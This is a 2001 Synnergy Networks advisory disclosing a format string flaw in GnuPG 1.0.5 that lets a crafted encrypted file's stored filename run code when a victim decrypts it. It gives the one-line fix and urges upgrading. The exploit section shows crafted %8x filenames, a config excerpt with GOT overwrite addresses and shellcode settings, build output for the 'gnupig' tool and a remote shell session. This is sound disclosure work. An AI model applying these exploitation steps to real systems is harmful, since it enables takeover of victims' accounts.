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From: fish stiqz (fishanalog.org)
Date: Tue May 29 2001 - 12:58:48 CDT

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          Remote arbitrary code execution vulnerability in GnuPG <= 1.0.5
                   Synnergy Networks (http://www.synnergy.net/)
                         By: fish stiqz <fishsynnergy.net>
                               Released: 05/29/2001
                  ( Will the REAL GnuPG bug please stand up? )

    [ Contents of this Advisory ]

    0. Introduction
    1. Problem
    2. Solution
    3. Exploit Discussion
    4. Credit and Thanks

    [ Introduction ]

    GnuPG is a very popular GNU replacement for the public key encryption
    program PGP. As described by its website (http://www.gnupg.org/):

    > GnuPG is a complete and free replacement for PGP. Because it does not
    > use the patented IDEA algorithm, it can be used without any
    > restrictions. GnuPG is a RFC2440 (OpenPGP) compliant application.

    Hidden deep within its code is a format string vulnerability which can be
    triggered simply by attempting to decrypt a file with a specially crafted
    filename. This vulnerability can allow a malicious user to gain
    unathorized access to the account which attempted the decryption.

    [ Problem ]

    The problem code lies in util/ttyio.c in the 'do_get' function. There is
    a call to a function called 'tty_printf' (which eventually results in a
    vfprintf call) without a constant format string:

    > tty_printf( prompt );

    If gpg attempts to decrypt a file whose filename does not end in ".gpg",
    that filename (minus the extension) is copied to the prompt string,
    allowing a user-suppliable format string.

    [ Solution ]

    The vulnerable call obviously needs the "%s" conversion:

    > tty_printf( "%s", prompt );

    The newest release of GnuPG (version 1.0.6) contains this security fix,
    as well as implementing many new features. It can be obtained from
    http://www.gnupg.org/download.html. All GnuPG users are strongly urged to
    upgrade as soon as possible.

    [ Exploit Discussion]

    In order to show the severity of the bug, look first at how it is

    1. Create a file with a valid format string as the filename.

      $ echo "hello, how are you friend?" > %8x_%8x_%8x

    2. Encrypt this file.

      $ gpg -r fishanalog.org -e %8x_%8x_%8x
      gpg: this cipher algorithm is depreciated; please use a more standard one!

      $ ls %8x_%8x_%8x*
      %8x_%8x_%8x %8x_%8x_%8x.gpg

    3. gpg added the ".gpg" extension to the new encrypted file, give it a
    different one.

      $ mv %8x_%8x_%8x.gpg %8x_%8x_%8x.el8

    4. Now, attempt to decrypt the file.

      $ gpg %8x_%8x_%8x.el8

      You need a passphrase to unlock the secret key for
      user: "fish stiqz (bleh) <fishanalog.org>"
      1024-bit ELG-E key, ID D31DF63D, created 2001-05-24 (main key ID 5ABD075F)

      gpg: %8x_%8x_%8x.el8: unknown suffix
      Enter new filename [ 80af5d9_ 80cefb8_ 80af5ca]:

    Now you will notice that the %8x's were expanded! However, the actual
    filename is not our format string. The original filename, which is stored
    inside the file as part of the encrypted data, is the real format string.
    So the file could be renamed again and still produce the same result:

      $ mv %8x_%8x_%8x.el8 README.TXT
      $ gpg README.TXT

      You need a passphrase to unlock the secret key for
      user: "fish stiqz (bleh) <fishanalog.org>"
      1024-bit ELG-E key, ID D31DF63D, created 2001-05-24 (main key ID 5ABD075F)

      gpg: README.TXT: unknown suffix
      Enter new filename [ 80af5d9_ 80cefb0_ 80af5ca]:

    The exploit I have created simply creates and encrypts a file that
    exploits this vulnerability. However, considering that there is no
    possible way to determine what type of machine the file will be decrypted
    on, the size of the remote environment, the location that libc is mapped,
    etc... the exploit will require a lot of knowledge about the remote system
    for it to work. For this reason, this exploit can be considered "Proof of

    There were a few hurdles to get around while building this exploit.

    First, since this a remote attack, there are only two
    ways to feed data to gpg. 1) Through the filename and 2) through
    the encrypted data inside the file. Option #1 seemed easiest to
    use, so I used it.

    Second, since there are limitations on the size of a filename, 255 bytes
    on Linux systems for example, we need a small format string and a small
    remote shellcode. The format string and shellcode combination would be
    located on the stack, allowing the Linux kernel patch from the Openwall
    Project to defend against this kind of attack. However, this is not
    acceptable for an exploit by fish stiqz ;-). Before the vulnerable call,
    the prompt is created on the heap, and the format string copied to
    it. The filename (our format string and shellcode combination) taken from
    the data inside the file, is also copied to the heap, allowing two
    different places to store a remote shellcode on the heap. The first
    location is complicated by the fact that the prompt is filtered through
    iscntrl(), escaping all characters in the range of 0x00-0x1f and
    0x7f. But, since I thought it would be fun to make some remote shellcode
    to get around this, I chose to use the first location on the heap, but
    either one is fine.

    Example exploitation:
    (overwrite the GOT entry of malloc() to point to the shellcode on the heap)

    (from config.h in the exploit)

    /* <FIXME> */

    /* location of the *local* copy of gpg, used to encrypt the file */
    #define DEFAULT_GPG_PATH "/usr/local/bin/gpg"

    /* contents appended to the format string, or NULL if you want to skip it */
    #define APPEND lnx_i386_remote_shellcode

    /* only needed if appending APPEND is defined, NULL if you wanna skip */
    #define ARCHNOP "\x90"

    /* the overwrites (most definitely needed) */
    short_write_t short_array[] =
        /* overwrite 0x080c9dc4 (GOT of malloc) with 0x080cca60 (shellcode) */
        { 0xca60, 0x080c9dc4 + 0 },
        { 0x080c, 0x080c9dc4 + 2 },
        { 0, 0 }

    /* </FIXME> */

    Make the backdoored file:

      $ make clean && make
      rm -f *~ *.o gnupig
      gcc -Wall -O2 -g -c gnupig.c
      gcc -Wall -O2 -g -c common.c
      gcc -Wall -O2 -g -c file.c
      gcc -Wall -O2 -g -c shellcode.c
      gcc -Wall -O2 -g -c fmtstr.c
      gcc -Wall -O2 -g -o gnupig gnupig.o common.o file.o shellcode.o fmtstr.o

      $ ./gnupig -s -e 366 -a 4 -k fishanalog.org
      [0] shellcode passed.
      [1] running gpg to encrypt the dummy file.
      gpg: this cipher algorithm is depreciated; please use a more standard one!
      [2] created dummy file successfully.

    User runs gpg on the encrypted file:

      $ gpg *.el8
    Remote shell is spawned:

      (in other terminal)
      $ telnet localhost 16705
      Connected to localhost.
      Escape character is '^]'.
      uid=1000(fish) gid=100(users)
      Connection closed by foreign host.

    There are a few other tricks you can do, like doing a return into libc
    attacks and writing the payload with the format string, which can be
    performed by this exploit. It is a very versatile tool. Unfortunately,
    or fortunately (depending on your point of view), these types of
    attacks will also be unreliable (due to the fact that we dont know the
    remote environment or how gpg is spawned).

    [ Credit and Thanks ]

    Thanks to the GnuPG developers for an excellent program.

    Many thanks to all of those involved with this. MaXX and dethy, you
    have been some great guys to work with, thanks for all the help.

     - MaXX and dethy - you guys RULE!
     - scrippie for the format string generation ideas.
     - venomous for the late night irc conversation ;-)
     - ysyi & async.org


    As always, if updates of this exploit or advisory are made, they will
    be posted to my website: http://gibson.analog.org/

    The exploit code is attached.

    - fish stiqz
      Synnergy Networks